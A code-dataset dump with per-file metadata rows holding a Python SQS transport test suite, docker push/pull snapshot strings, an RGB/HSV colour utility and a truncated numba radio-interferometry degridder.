hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6b9521c12e4bafd99f03ae4db370ef7641e04e56
| 9,199
|
py
|
Python
|
beaver/tests/test_sqs_transport.py
|
timstoop/python-beaver
|
434e9560f0f6164d0739132f45ea01cded2eb8c2
|
[
"MIT"
] | 129
|
2016-01-15T15:27:32.000Z
|
2022-03-20T10:44:50.000Z
|
beaver/tests/test_sqs_transport.py
|
timstoop/python-beaver
|
434e9560f0f6164d0739132f45ea01cded2eb8c2
|
[
"MIT"
] | 136
|
2015-12-30T16:42:31.000Z
|
2021-07-27T05:56:00.000Z
|
beaver/tests/test_sqs_transport.py
|
timstoop/python-beaver
|
434e9560f0f6164d0739132f45ea01cded2eb8c2
|
[
"MIT"
] | 45
|
2016-01-11T15:27:53.000Z
|
2021-11-20T17:28:24.000Z
|
# -*- coding: utf-8 -*-
import sys
if sys.version_info < (2, 7):
import unittest2 as unittest
else:
import unittest
import mock
import tempfile
import logging
import beaver
from beaver.config import BeaverConfig
from beaver.transports import create_transport
from beaver.unicode_dammit import unicode_dammit
from fixtures import Fixture
from moto import mock_sqs
import boto.sqs
class SqsTests(unittest.TestCase):
@mock_sqs
def _create_queues(cls):
conn = boto.sqs.connect_to_region("us-east-1")
conn.create_queue("queue1")
conn.create_queue("queue2")
@classmethod
def setUpClass(cls):
cls.logger = logging.getLogger(__name__)
empty_conf = tempfile.NamedTemporaryFile(delete=True)
cls.beaver_config = BeaverConfig(mock.Mock(config=empty_conf.name))
cls.beaver_config.set('transport', 'sqs')
cls.beaver_config.set('logstash_version', 1)
output_file = Fixture.download_official_distribution()
Fixture.extract_distribution(output_file)
@mock_sqs
def test_sqs_default_auth_profile(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
cls.beaver_config.set('sqs_aws_queue', 'queue1')
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
transport.interrupt()
@mock_sqs
def test_sqs_auth_profile(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_profile_name', 'beaver_queue')
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
cls.beaver_config.set('sqs_aws_queue', 'queue1')
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
@mock_sqs
def test_sqs_auth_key(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', 'beaver_test_key')
cls.beaver_config.set('sqs_aws_secret_key', 'beaver_test_secret')
cls.beaver_config.set('sqs_aws_queue', 'queue1')
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
transport.interrupt()
@mock_sqs
def test_sqs_auth_account_id(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_queue_owner_acct_id', 'abc123')
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', 'beaver_test_key')
cls.beaver_config.set('sqs_aws_secret_key', 'beaver_test_secret')
cls.beaver_config.set('sqs_aws_queue', 'queue1')
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
transport.interrupt()
@mock_sqs
def test_sqs_single_queue(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_queue', 'queue1')
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
transport.interrupt()
@mock_sqs
def test_sqs_single_queue_bulklines(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_queue', 'queue1')
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
cls.beaver_config.set('sqs_bulk_lines', True)
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
transport.interrupt()
@mock_sqs
def test_sqs_multi_queue(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_queue', 'queue1,queue2')
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
cls.beaver_config.set('sqs_bulk_lines', False)
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
transport.interrupt()
@mock_sqs
def test_sqs_multi_queue_bulklines(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_queue', 'queue1,queue2')
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
cls.beaver_config.set('sqs_bulk_lines', True)
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
transport.interrupt()
@mock_sqs
def test_sqs_send_single_queue(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_queue', 'queue1')
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
cls.beaver_config.set('sqs_bulk_lines', False)
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
data = {}
lines = []
n=100
for i in range(n):
lines.append('log' + str(i) + '\n')
new_lines = []
for line in lines:
message = unicode_dammit(line)
if len(message) == 0:
continue
new_lines.append(message)
data['lines'] = new_lines
data['fields'] = []
transport.callback("test.log", **data)
@mock_sqs
def test_sqs_send_multi_queue(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_queue', 'queue1,queue2')
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
cls.beaver_config.set('sqs_bulk_lines', False)
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
data = {}
lines = []
n=100
for i in range(n):
lines.append('log' + str(i) + '\n')
new_lines = []
for line in lines:
message = unicode_dammit(line)
if len(message) == 0:
continue
new_lines.append(message)
data['lines'] = new_lines
data['fields'] = []
transport.callback("test.log", **data)
@mock_sqs
def test_sqs_send_single_queue_bulklines(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_queue', 'queue1')
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
cls.beaver_config.set('sqs_bulk_lines', True)
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
data = {}
lines = []
n=100
for i in range(n):
lines.append('log' + str(i) + '\n')
new_lines = []
for line in lines:
message = unicode_dammit(line)
if len(message) == 0:
continue
new_lines.append(message)
data['lines'] = new_lines
data['fields'] = []
transport.callback("test.log", **data)
@mock_sqs
def test_sqs_send_multi_queue_bulklines(cls):
cls._create_queues()
cls.beaver_config.set('sqs_aws_queue', 'queue1,queue2')
cls.beaver_config.set('sqs_aws_profile_name', None)
cls.beaver_config.set('sqs_aws_access_key', None)
cls.beaver_config.set('sqs_aws_secret_key', None)
cls.beaver_config.set('sqs_bulk_lines', True)
transport = create_transport(cls.beaver_config, logger=cls.logger)
cls.assertIsInstance(transport, beaver.transports.sqs_transport.SqsTransport)
data = {}
lines = []
n=100
for i in range(n):
lines.append('log' + str(i) + '\n')
new_lines = []
for line in lines:
message = unicode_dammit(line)
if len(message) == 0:
continue
new_lines.append(message)
data['lines'] = new_lines
data['fields'] = []
transport.callback("test.log", **data)
| 35.380769
| 85
| 0.672899
| 1,172
| 9,199
| 4.959898
| 0.091297
| 0.148632
| 0.18321
| 0.179597
| 0.865646
| 0.862721
| 0.859109
| 0.859109
| 0.858421
| 0.858421
| 0
| 0.005956
| 0.215132
| 9,199
| 259
| 86
| 35.517375
| 0.799169
| 0.002283
| 0
| 0.794258
| 0
| 0
| 0.139712
| 0.002942
| 0
| 0
| 0
| 0
| 0.057416
| 0
| null | null | 0
| 0.062201
| null | null | 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
d84dad7c9892cf52b6ebc440fe41e1c324e5bd52
| 5,097
|
py
|
Python
|
ixian_docker/tests/modules/docker/utils/snapshots/snap_test_images.py
|
kreneskyp/ixian-docker
|
ce7a6cee2f961b8446dc3d9429a809ab5a235467
|
[
"Apache-2.0"
] | null | null | null |
ixian_docker/tests/modules/docker/utils/snapshots/snap_test_images.py
|
kreneskyp/ixian-docker
|
ce7a6cee2f961b8446dc3d9429a809ab5a235467
|
[
"Apache-2.0"
] | null | null | null |
ixian_docker/tests/modules/docker/utils/snapshots/snap_test_images.py
|
kreneskyp/ixian-docker
|
ce7a6cee2f961b8446dc3d9429a809ab5a235467
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# snapshottest: v1 - https://goo.gl/zC4yUc
from __future__ import unicode_literals
from pysnap import Snapshot
snapshots = Snapshot()
snapshots['TestPush.test_push 1'] = '''The push refers to repository [896552222739.dkr.ecr.us-west-2.amazonaws.com/lims/testing]
77cae8ab23bf: Preparing \x1b[K\r77cae8ab23bf: Pushing [> ] 68.61kB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [====> ] 461.8kB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [=======> ] 845.3kB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [==================> ] 2.055MB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [====================> ] 2.251MB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [===============================> ] 3.496MB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [==========================================> ] 4.694MB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [==================================================>] 5.815MB\x1b[K\r77cae8ab23bf: Pushed \x1b[K\rpush_test: digest: sha256:e4355b66995c96b4b468159fc5c7e3540fcef961189ca13fee877798649f531a size: 528
'''
snapshots['TestPush.test_push_already_pushed 1'] = '''The push refers to repository [896552222739.dkr.ecr.us-west-2.amazonaws.com/lims/testing]
77cae8ab23bf: Preparing \x1b[K\r77cae8ab23bf: Layer already exists \x1b[K\rpush_test: digest: sha256:e4355b66995c96b4b468159fc5c7e3540fcef961189ca13fee877798649f531a size: 528
'''
snapshots['TestPush.test_push_tag 1'] = '''The push refers to repository [896552222739.dkr.ecr.us-west-2.amazonaws.com/lims/testing]
77cae8ab23bf: Preparing \x1b[K\r77cae8ab23bf: Pushing [> ] 68.61kB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [====> ] 461.8kB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [=======> ] 845.3kB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [==================> ] 2.055MB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [====================> ] 2.251MB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [===============================> ] 3.496MB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [==========================================> ] 4.694MB/5.553MB\x1b[K\r77cae8ab23bf: Pushing [==================================================>] 5.815MB\x1b[K\r77cae8ab23bf: Pushed \x1b[K\rpush_test: digest: sha256:e4355b66995c96b4b468159fc5c7e3540fcef961189ca13fee877798649f531a size: 528
'''
snapshots['TestPush.test_push_silent 1'] = ''
snapshots['TestPull.test_pull 1'] = '''Using default tag: latest
latest: Pulling from library/alpine \x1b[K\r
89d9c30c1d48: Pulling fs layer \x1b[K\r89d9c30c1d48: Downloading [> ] 28.02kB/2.787MB\x1b[K\r89d9c30c1d48: Downloading [=====================> ] 1.178MB/2.787MB\x1b[K\r89d9c30c1d48: Downloading [=========================================> ] 2.309MB/2.787MB\x1b[K\r89d9c30c1d48: Verifying Checksum \x1b[K\r89d9c30c1d48: Download complete \x1b[K\r89d9c30c1d48: Extracting [> ] 32.77kB/2.787MB\x1b[K\r89d9c30c1d48: Extracting [======> ] 360.4kB/2.787MB\x1b[K\r89d9c30c1d48: Extracting [==================================================>] 2.787MB/2.787MB\x1b[K\r89d9c30c1d48: Pull complete \x1b[K\r\x1b[1B\rDigest: sha256:c19173c5ada610a5989151111163d28a67368362762534d8a8121ce95cf2bd5a
Status: Downloaded newer image for alpine:latest
ixian_docker.test:latest
'''
snapshots['TestPull.test_pull_silent 1'] = '''ixian_docker.test:latest
'''
snapshots['TestPull.test_pull_tag 1'] = '''latest: Pulling from library/alpine \x1b[K\r
89d9c30c1d48: Pulling fs layer \x1b[K\r89d9c30c1d48: Downloading [> ] 28.02kB/2.787MB\x1b[K\r89d9c30c1d48: Downloading [=====================> ] 1.178MB/2.787MB\x1b[K\r89d9c30c1d48: Downloading [=========================================> ] 2.309MB/2.787MB\x1b[K\r89d9c30c1d48: Verifying Checksum \x1b[K\r89d9c30c1d48: Download complete \x1b[K\r89d9c30c1d48: Extracting [> ] 32.77kB/2.787MB\x1b[K\r89d9c30c1d48: Extracting [======> ] 360.4kB/2.787MB\x1b[K\r89d9c30c1d48: Extracting [==================================================>] 2.787MB/2.787MB\x1b[K\r89d9c30c1d48: Pull complete \x1b[K\r\x1b[1B\rDigest: sha256:c19173c5ada610a5989151111163d28a67368362762534d8a8121ce95cf2bd5a
Status: Downloaded newer image for alpine:latest
ixian_docker.test:custom_tag
'''
snapshots['TestPush.test_push_error 1'] = '''The push refers to repository [FAKE.dkr.ecr.us-west-2.amazonaws.com/testing]
77cae8ab23bf: Preparing \x1b[K\r'''
snapshots['TestPush.test_push_error_and_silent 1'] = ''
| 115.840909
| 953
| 0.561114
| 507
| 5,097
| 5.579882
| 0.21499
| 0.063627
| 0.114175
| 0.135737
| 0.908095
| 0.875574
| 0.866384
| 0.857547
| 0.830329
| 0.830329
| 0
| 0.211452
| 0.218756
| 5,097
| 43
| 954
| 118.534884
| 0.498995
| 0.012164
| 0
| 0.413793
| 0
| 0.310345
| 0.939587
| 0.518879
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.068966
| 0
| 0.068966
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
d8ae555e22f27e3cf9b91971b3e9c1d7ebb51d22
| 6,800
|
py
|
Python
|
rubato/utils/color.py
|
mrElnekave/rubato
|
462a5c8ffdea918dd9241ebc228140cd90b9da1d
|
[
"MIT"
] | null | null | null |
rubato/utils/color.py
|
mrElnekave/rubato
|
462a5c8ffdea918dd9241ebc228140cd90b9da1d
|
[
"MIT"
] | null | null | null |
rubato/utils/color.py
|
mrElnekave/rubato
|
462a5c8ffdea918dd9241ebc228140cd90b9da1d
|
[
"MIT"
] | null | null | null |
"""
A Color class
"""
from rubato.utils import PMath
class HSV:
"""
An HSV implementation.
"""
def __init__(self, h=0.0, s=0.0, v=0.0):
self.h: float = h
self.s: float = s
self.v: float = v
def set(self, value):
self.h = value
self.s = value
self.v = value
def __eq__(self, other):
if isinstance(other, type(HSV)):
return \
abs(self.h - other.h) < 0.0001 and \
abs(self.s - other.s) < 0.0001 and \
abs(self.v - other.v) < 0.0001
return False
@property
def values(self):
return [self.h, self.s, self.v]
def check_values(self):
self.h = PMath.clamp(self.h, 0, 255)
self.s = PMath.clamp(self.s, 0, 255)
self.v = PMath.clamp(self.v, 0, 255)
class RGB:
"""
An RGB implentation
"""
def __init__(self, r=0.0, g=0.0, b=0.0):
self.r: float = r
self.g: float = g
self.b: float = b
self.check_values()
def set(self, value):
self.r = value
self.g = value
self.b = value
self.check_values()
def __eq__(self, other):
if isinstance(other, type(RGB)):
return \
abs(self.r - other.r) < 0.0001 and \
abs(self.g - other.g) < 0.0001 and \
abs(self.b - other.b) < 0.0001
return False
@property
def values(self):
return [self.r, self.g, self.b]
def check_values(self):
self.r = PMath.clamp(self.r, 0, 255)
self.g = PMath.clamp(self.b, 0, 255)
self.b = PMath.clamp(self.g, 0, 255)
# colors from https://www.rapidtables.com/web/color/RGB_Color.html
black = (0, 0, 0)
white = (255, 255, 255)
red = (255, 0, 0)
lime = (0, 255, 0)
blue = (0, 0, 255)
yellow = (255, 255, 0)
cyan = aqua = (0, 255, 255)
magenta = fuchsia = (255, 0, 255)
silver = (192, 192, 192)
gray = (128, 128, 128)
maroon = (128, 0, 0)
olive = (128, 128, 0)
green = (0, 128, 0)
purple = (128, 0, 128)
teal = (0, 128, 128)
navy = (0, 0, 128)
def lerp(a: RGB, b: RGB, t):
t = PMath.clamp(t, 0, 1)
return RGB(
a.r + (b.r - a.r) * t,
a.g + (b.g - a.g) * t,
a.b + (b.b - a.b) * t,
)
def rgb_to_hsv(color_in: RGB):
out = HSV()
cmax = max(color_in.r, color_in.g, color_in.b) # maximum of r, g, b
cmin = min(color_in.r, color_in.g, color_in.b) # minimum of r, g, b
out.v = cmax
delta = cmax - cmin
if delta == 0:
return out
if cmax > 0.0:
out.s = (delta / cmax)
else:
return out
if color_in.r == cmax:
out.h = (color_in.g - color_in.b) / delta # between yellow & magenta
elif color_in.g == cmax:
out.h = 2.0 + (color_in.b -
color_in.r) / delta # between cyan & yellow
else:
out.h = 4.0 + (color_in.r -
color_in.g) / delta # between magenta & cyan
out.h *= 60.0 # degrees
if out.h < 0.0:
out.h += 360.0
return out
def hsv_to_rgb(color_in: HSV):
out = RGB()
if color_in.s == 0:
out.set(color_in.v)
hh = color_in.h
if hh >= 360.0:
hh = 0.0
hh /= 60.0
i = int(hh)
ff = hh - i
p = color_in.v * (1.0 - color_in.s)
q = color_in.v * (1.0 - (color_in.s * ff))
t = color_in.v * (1.0 - (color_in.s * (1.0 - ff)))
if i == 0:
out.r = color_in.v
out.g = t
out.b = p
elif i == 1:
out.r = q
out.g = color_in.v
out.b = p
elif i == 2:
out.r = p
out.g = color_in.v
out.b = t
elif i == 3:
out.r = p
out.g = q
out.b = color_in.v
elif i == 4:
out.r = t
out.g = p
out.b = color_in.v
elif i == 5:
out.r = color_in.v
out.g = p
out.b = q
else:
out.r = color_in.v
out.g = p
out.b = q
return out
class Color:
"""
A color implementation
"""
# colors from https://www.rapidtables.com/web/color/RGB_Color.html
black = (0, 0, 0)
white = (255, 255, 255)
red = (255, 0, 0)
lime = (0, 255, 0)
blue = (0, 0, 255)
yellow = (255, 255, 0)
cyan = aqua = (0, 255, 255)
magenta = fuchsia = (255, 0, 255)
silver = (192, 192, 192)
gray = (128, 128, 128)
maroon = (128, 0, 0)
olive = (128, 128, 0)
green = (0, 128, 0)
purple = (128, 0, 128)
teal = (0, 128, 128)
navy = (0, 0, 128)
@staticmethod
def lerp(a: RGB, b: RGB, t):
t = PMath.clamp(t, 0, 1)
return RGB(
a.r + (b.r - a.r) * t,
a.g + (b.g - a.g) * t,
a.b + (b.b - a.b) * t,
)
@staticmethod
def rgb_to_hsv(color_in: RGB):
out = Color.HSV()
cmax = max(color_in.r, color_in.g, color_in.b) # maximum of r, g, b
cmin = min(color_in.r, color_in.g, color_in.b) # minimum of r, g, b
out.v = cmax
delta = cmax - cmin
if delta == 0:
return out
if cmax > 0.0:
out.s = (delta / cmax)
else:
return out
if color_in.r == cmax:
out.h = (color_in.g -
color_in.b) / delta # between yellow & magenta
elif color_in.g == cmax:
out.h = 2.0 + (color_in.b -
color_in.r) / delta # between cyan & yellow
else:
out.h = 4.0 + (color_in.r -
color_in.g) / delta # between magenta & cyan
out.h *= 60.0 # degrees
if out.h < 0.0:
out.h += 360.0
return out
@staticmethod
def hsv_to_rgb(color_in: HSV):
out = Color.RGB()
if color_in.s == 0:
out.set(color_in.v)
hh = color_in.h
if hh >= 360.0:
hh = 0.0
hh /= 60.0
i = int(hh)
ff = hh - i
p = color_in.v * (1.0 - color_in.s)
q = color_in.v * (1.0 - (color_in.s * ff))
t = color_in.v * (1.0 - (color_in.s * (1.0 - ff)))
if i == 0:
out.r = color_in.v
out.g = t
out.b = p
elif i == 1:
out.r = q
out.g = color_in.v
out.b = p
elif i == 2:
out.r = p
out.g = color_in.v
out.b = t
elif i == 3:
out.r = p
out.g = q
out.b = color_in.v
elif i == 4:
out.r = t
out.g = p
out.b = color_in.v
elif i == 5:
out.r = color_in.v
out.g = p
out.b = q
else:
out.r = color_in.v
out.g = p
out.b = q
return out
| 23.611111
| 77
| 0.453382
| 1,078
| 6,800
| 2.772727
| 0.091837
| 0.149883
| 0.058883
| 0.036802
| 0.804282
| 0.756775
| 0.756775
| 0.756775
| 0.701238
| 0.701238
| 0
| 0.087085
| 0.402206
| 6,800
| 287
| 78
| 23.69338
| 0.648216
| 0.065
| 0
| 0.814655
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.068966
| false
| 0
| 0.00431
| 0.008621
| 0.232759
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d8d35cbf1cac2ec60d217224cc5557a771d52cbf
| 11,195
|
py
|
Python
|
africanus/gridding/perleypolyhedron/degridder.py
|
JoshVStaden/codex-africanus
|
4a38994431d51510b1749fa0e4b8b6190b8b530f
|
[
"BSD-3-Clause"
] | 13
|
2018-04-06T09:36:13.000Z
|
2021-04-13T13:11:00.000Z
|
africanus/gridding/perleypolyhedron/degridder.py
|
JoshVStaden/codex-africanus
|
4a38994431d51510b1749fa0e4b8b6190b8b530f
|
[
"BSD-3-Clause"
] | 153
|
2018-03-28T14:13:48.000Z
|
2022-02-03T07:49:17.000Z
|
africanus/gridding/perleypolyhedron/degridder.py
|
JoshVStaden/codex-africanus
|
4a38994431d51510b1749fa0e4b8b6190b8b530f
|
[
"BSD-3-Clause"
] | 14
|
2018-03-29T13:30:52.000Z
|
2021-06-12T02:56:55.000Z
|
import numpy as np
from numba import literally, prange
from africanus.util.numba import jit
from africanus.gridding.perleypolyhedron.policies import (
baseline_transform_policies as btp)
from africanus.gridding.perleypolyhedron.policies import (
phase_transform_policies as ptp)
from africanus.gridding.perleypolyhedron.policies import (
convolution_policies as cp)
from africanus.gridding.perleypolyhedron.policies import (
stokes_conversion_policies as scp)
@jit(nopython=True, nogil=True, fastmath=True, inline="always")
def degridder_row_kernel(uvw,
gridstack,
wavelengths,
chanmap,
cell,
image_centre,
phase_centre,
convolution_kernel,
convolution_kernel_width,
convolution_kernel_oversampling,
baseline_transform_policy,
phase_transform_policy,
stokes_conversion_policy,
convolution_policy,
vis_dtype=np.complex128,
nband=0,
nrow=0,
npix=0,
nvischan=0,
ncorr=0,
vis=None,
scale_factor=0,
r=0):
ra0, dec0 = phase_centre
ra, dec = image_centre
btp.policy(uvw[r, :], ra, dec, ra0, dec0,
baseline_transform_policy)
for c in range(nvischan):
scaled_u = uvw[r, 0] * scale_factor / wavelengths[c]
scaled_v = uvw[r, 1] * scale_factor / wavelengths[c]
scaled_w = uvw[r, 2] * scale_factor / wavelengths[c]
grid = gridstack[chanmap[c], :, :]
cp.policy(scaled_u,
scaled_v,
scaled_w,
npix,
grid,
vis,
r,
c,
convolution_kernel,
convolution_kernel_width,
convolution_kernel_oversampling,
stokes_conversion_policy,
policy_type=convolution_policy)
ptp.policy(vis[r, :, :],
uvw[r, :],
wavelengths,
ra0,
dec0,
ra,
dec,
policy_type=phase_transform_policy,
phasesign=-1.0)
@jit(nopython=True, nogil=True, fastmath=True, parallel=True)
def degridder(uvw,
gridstack,
wavelengths,
chanmap,
cell,
image_centre,
phase_centre,
convolution_kernel,
convolution_kernel_width,
convolution_kernel_oversampling,
baseline_transform_policy,
phase_transform_policy,
stokes_conversion_policy,
convolution_policy,
vis_dtype=np.complex128):
